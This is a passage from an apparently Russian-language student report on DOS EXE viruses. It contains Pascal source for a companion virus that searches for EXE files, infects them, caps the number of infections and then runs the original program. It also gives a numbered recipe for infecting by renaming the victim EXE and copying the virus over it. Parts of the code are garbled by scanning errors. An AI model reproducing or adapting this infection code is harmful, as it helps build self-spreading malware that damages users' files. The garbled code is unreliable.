Доклад: Exe-вирусы
{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM';
{Вызываем процедуру заражения}
InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
Parms:=' ';
{Запоминаем параметры командной строки}
If ParamCount <> 0 Then
For l:=1 To ParamCount Do
Parms:=Parms+' '+ParamStr(l);
{Ищем жертвы и заражаем их}
FindTarget;
TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE';
(Ищем файл с именем стартового файла, но с расширением ЕХЕ}
FindFirst(TargetFile, AnyRle, Dirlnfo);
{Если такой файл найден, запускаем его на выполнение)
If DosError=0 Then
begin
Swap Vectors;
Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms);
Swap Vectors;
end Else
{Если файл не найден, выходим,
не внося в программу изменений)
begin
WriteLn(#13#10, VirName, ' by '.Author);
WriteLnCKaKoe-нибудь сообщение');
end;
end.
Инфицирование методом переименования ЕХЕ-файла
Отличий в алгоритмах работы этих вирусов и их "коллег", создающих
файл-спутник, не так уж много. Но, по всей видимости, заражение ме-
тодом переименования несколько совершеннее - для излечения от ви-
руса нужно не просто удалить СОМ-файл с кодом вируса, а немного
помучаться и разыскать, во что же переименован ЕХЕ-файл с инфици-
рованной программой.
1. Если в командной строке указаны параметры, сохранить их в пере-
менную типа String для передачи инфицированной программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-
лом-жертвой файл с таким же именем и с расширением, которое
выбрано для инфицированной программы (например, OVL - про-
граммный оверлей).
4. Если такой файл присутствует, программа уже инфицирована - пе-
реходим к пункту 7.
5. Переименовать найденный файл-жертву (ЕХЕ) в файл с таким же име-
нем, но с расширением, выбранным для инфицированной программы.
6. С помощью командного процессора скопировать файл, из которого по-
лучено управление, в файл с именем жертвы и расширением жертвы.
7. Найти в каталоге, из которого получено управление, файл с именем
стартовой программы, но с расширением, выбранным для инфици-
рованной - это и будет зараженная программа, которую в данный
момент необходимо запустить на исполнение.